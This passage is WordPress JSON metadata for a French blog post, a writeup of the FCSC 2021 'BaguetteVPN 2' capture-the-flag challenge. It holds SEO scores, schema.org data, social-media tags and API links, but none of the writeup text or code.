2,python3,urllib3,crlf,ctf,pentest,writeup,fcsc,python,web,infosec","webmasterTools":{"miscellaneous":""},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/mikadmin.fr\/blog\/fcsc-2021-baguettevpn-2\/#article","name":"FCSC 2021 : BaguetteVPN 2 | Writeup | Mika's Blog","headline":"FCSC 2021 : BaguetteVPN 2","author":{"@id":"https:\/\/mikadmin.fr\/blog\/author\/mikadmin\/#author"},"publisher":{"@id":"https:\/\/mikadmin.fr\/blog\/#organization"},"image":{"@type":"ImageObject","url":"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/images-e1620059416644.png","width":175,"height":98},"datePublished":"2021-05-03T19:41:00+02:00","dateModified":"2021-09-19T01:43:23+02:00","inLanguage":"fr-FR","commentCount":2,"mainEntityOfPage":{"@id":"https:\/\/mikadmin.fr\/blog\/fcsc-2021-baguettevpn-2\/#webpage"},"isPartOf":{"@id":"https:\/\/mikadmin.fr\/blog\/fcsc-2021-baguettevpn-2\/#webpage"},"articleSection":"infosec, crlf, ctf, fcsc, pentest, python, web, writeup"},{"@type":"BreadcrumbList","@id":"https:\/\/mikadmin.fr\/blog\/fcsc-2021-baguettevpn-2\/#breadcrumblist","itemListElement":[{"@type":"ListItem","@id":"https:\/\/mikadmin.fr\/blog#listItem","position":1,"name":"Home","item":"https:\/\/mikadmin.fr\/blog","nextItem":{"@type":"ListItem","@id":"https:\/\/mikadmin.fr\/blog\/category\/infosec\/#listItem","name":"infosec"}},{"@type":"ListItem","@id":"https:\/\/mikadmin.fr\/blog\/category\/infosec\/#listItem","position":2,"name":"infosec","item":"https:\/\/mikadmin.fr\/blog\/category\/infosec\/","nextItem":{"@type":"ListItem","@id":"https:\/\/mikadmin.fr\/blog\/fcsc-2021-baguettevpn-2\/#listItem","name":"FCSC 2021 : BaguetteVPN 2"},"previousItem":{"@type":"ListItem","@id":"https:\/\/mikadmin.fr\/blog#listItem","name":"Home"}},{"@type":"ListItem","@id":"https:\/\/mikadmin.fr\/blog\/fcsc-2021-baguettevpn-2\/#listItem","position":3,"name":"FCSC 2021 : BaguetteVPN 2","previousItem":{"@type":"ListItem","@id":"https:\/\/mikadmin.fr\/blog\/category\/infosec\/#listItem","name":"infosec"}}]},{"@type":"Organization","@id":"https:\/\/mikadmin.fr\/blog\/#organization","name":"Mika's Blog","description":"Sysadmin, Network & Infosec","url":"https:\/\/mikadmin.fr\/blog\/","logo":{"@type":"ImageObject","url":"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2020\/10\/favicon.ico","@id":"https:\/\/mikadmin.fr\/blog\/fcsc-2021-baguettevpn-2\/#organizationLogo","width":16,"height":16},"image":{"@id":"https:\/\/mikadmin.fr\/blog\/fcsc-2021-baguettevpn-2\/#organizationLogo"}},{"@type":"Person","@id":"https:\/\/mikadmin.fr\/blog\/author\/mikadmin\/#author","url":"https:\/\/mikadmin.fr\/blog\/author\/mikadmin\/","name":"Mika","image":{"@type":"ImageObject","@id":"https:\/\/mikadmin.fr\/blog\/fcsc-2021-baguettevpn-2\/#authorImage","url":"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2020\/10\/qV4LCrel_400x400-1-150x150.jpg","width":96,"height":96,"caption":"Mika"},"sameAs":["mikadmin","https:\/\/twitter.com\/mika_sec"]},{"@type":"WebPage","@id":"https:\/\/mikadmin.fr\/blog\/fcsc-2021-baguettevpn-2\/#webpage","url":"https:\/\/mikadmin.fr\/blog\/fcsc-2021-baguettevpn-2\/","name":"FCSC 2021 : BaguetteVPN 2 | Writeup | Mika's Blog","description":"Voici le write up du challenge Baguette VPN n\u00b02 du France Cybersecurity Challenge (FCSC 2021). Le but est de r\u00e9cup\u00e9rer le secret contenu dans l'API.","inLanguage":"fr-FR","isPartOf":{"@id":"https:\/\/mikadmin.fr\/blog\/#website"},"breadcrumb":{"@id":"https:\/\/mikadmin.fr\/blog\/fcsc-2021-baguettevpn-2\/#breadcrumblist"},"author":{"@id":"https:\/\/mikadmin.fr\/blog\/author\/mikadmin\/#author"},"creator":{"@id":"https:\/\/mikadmin.fr\/blog\/author\/mikadmin\/#author"},"image":{"@type":"ImageObject","url":"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/images-e1620059416644.png","@id":"https:\/\/mikadmin.fr\/blog\/fcsc-2021-baguettevpn-2\/#mainImage","width":175,"height":98},"primaryImageOfPage":{"@id":"https:\/\/mikadmin.fr\/blog\/fcsc-2021-baguettevpn-2\/#mainImage"},"datePublished":"2021-05-03T19:41:00+02:00","dateModified":"2021-09-19T01:43:23+02:00"},{"@type":"WebSite","@id":"https:\/\/mikadmin.fr\/blog\/#website","url":"https:\/\/mikadmin.fr\/blog\/","name":"Mika's Blog","description":"Sysadmin, Network & Infosec","inLanguage":"fr-FR","publisher":{"@id":"https:\/\/mikadmin.fr\/blog\/#organization"}}]},"og:locale":"fr_FR","og:site_name":"Mika's Blog | Sysadmin, Network &amp; Infosec","og:type":"article","og:title":"FCSC 2021 : BaguetteVPN 2 | Writeup | Mika's Blog","og:description":"Voici le write up du challenge Baguette VPN n\u00b02 du France Cybersecurity Challenge (FCSC 2021). Le but est de r\u00e9cup\u00e9rer le secret contenu dans l'API.","og:url":"https:\/\/mikadmin.fr\/blog\/fcsc-2021-baguettevpn-2\/","og:image":"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/images-e1620059416644.png","og:image:secure_url":"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/images-e1620059416644.png","og:image:width":175,"og:image:height":98,"article:published_time":"2021-05-03T17:41:00+00:00","article:modified_time":"2021-09-18T23:43:23+00:00","article:author":"mikadmin","twitter:card":"summary","twitter:title":"FCSC 2021 : BaguetteVPN 2 | Writeup | Mika's Blog","twitter:description":"Voici le write up du challenge Baguette VPN n\u00b02 du France Cybersecurity Challenge (FCSC 2021). Le but est de r\u00e9cup\u00e9rer le secret contenu dans l'API.","twitter:creator":"@mika_sec","twitter:image":"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/images-e1620059416644.png","twitter:label1":"\u00c9crit par","twitter:data1":"Mika","twitter:label2":"Estimation du temps de lecture","twitter:data2":"3 minutes"},"aioseo_meta_data":{"post_id":"1618","title":"#post_title | Writeup | #site_title&nbsp;","description":"Voici le write up du challenge Baguette VPN n\u00b02 du France Cybersecurity Challenge (FCSC 2021). Le but est de r\u00e9cup\u00e9rer le secret contenu dans l'API.","keywords":[{"label":"fcsc 2021","value":"fcsc 2021"},{"label":"France Cybersecurity Challenge","value":"France Cybersecurity Challenge"},{"label":"baguette vpn 2","value":"baguette vpn 2"},{"label":"python3","value":"python3"},{"label":"urllib3","value":"urllib3"},{"label":"crlf","value":"crlf"},{"label":"ctf","value":"ctf"},{"label":"pentest","value":"pentest"},{"label":"writeup","value":"writeup"}],"keyphrases":{"focus":{"keyphrase":"fcsc 2021","score":100,"analysis":{"keyphraseInTitle":{"title":"Focus Keyphrase in SEO title","description":"Focus Keyphrase found in SEO title.","score":9,"maxScore":9,"error":0},"keyphraseInDescription":{"title":"Focus keyphrase in meta description","description":"Focus keyphrase found in meta description.","score":9,"maxScore":9,"error":0},"keyphraseInURL":{"title":"Focus Keyphrase in URL","description":"Focus Keyphrase used in the URL.","score":5,"maxScore":5,"error":0},"keyphraseLength":{"title":"Focus keyphrase length","description":"Good job!","score":9,"maxScore":9,"error":0,"length":1},"keyphraseInIntroduction":{"title":"Focus keyphrase in introduction","description":"Your Focus keyphrase appears in the first paragraph. Well done!","score":9,"maxScore":9,"error":0},"keyphraseInSubHeadings":[],"keyphraseInImageAlt":{"title":"Focus keyphrase in image alt attributes","description":"Focus keyphrase found in image alt attribute(s).","score":9,"maxScore":9,"error":0}}},"additional":[]},"primary_term":null,"canonical_url":null,"og_title":"#post_title | Writeup | #site_title&nbsp;&nbsp;","og_description":"Voici le write up du challenge Baguette VPN n\u00b02 du France Cybersecurity Challenge (FCSC 2021). Le but est de r\u00e9cup\u00e9rer le secret contenu dans l'API.","og_object_type":"default","og_image_type":"custom_image","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/images-e1620059416644.png","og_image_custom_fields":null,"og_video":"","og_custom_url":null,"og_article_section":null,"og_article_tags":[],"twitter_use_og":true,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[],"defaultGraph":"Article","defaultPostTypeGraph":""},"schema_type":"default","schema_type_options":"{\"article\":{\"articleType\":\"BlogPosting\"},\"course\":{\"name\":\"\",\"description\":\"\",\"provider\":\"\"},\"faq\":{\"pages\":[]},\"product\":{\"reviews\":[]},\"recipe\":{\"ingredients\":[],\"instructions\":[],\"keywords\":[]},\"software\":{\"reviews\":[],\"operatingSystems\":[]},\"webPage\":{\"webPageType\":\"WebPage\"}}","pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":"-1","robots_max_videopreview":"-1","robots_max_imagepreview":"large","priority":null,"frequency":"default","location":null,"local_seo":null,"breadcrumb_settings":null,"limit_modified_date":false,"ai":null,"created":"2021-05-03 16:26:21","updated":"2025-06-17 16:28:32","seo_analyzer_scan_date":null},"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/posts\/1618","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/comments?post=1618"}],"version-history":[{"count":0,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/posts\/1618\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/media\/1620"}],"wp:attachment":[{"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/media?parent=1618"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/categories?post=1618"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/tags?post=1618"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}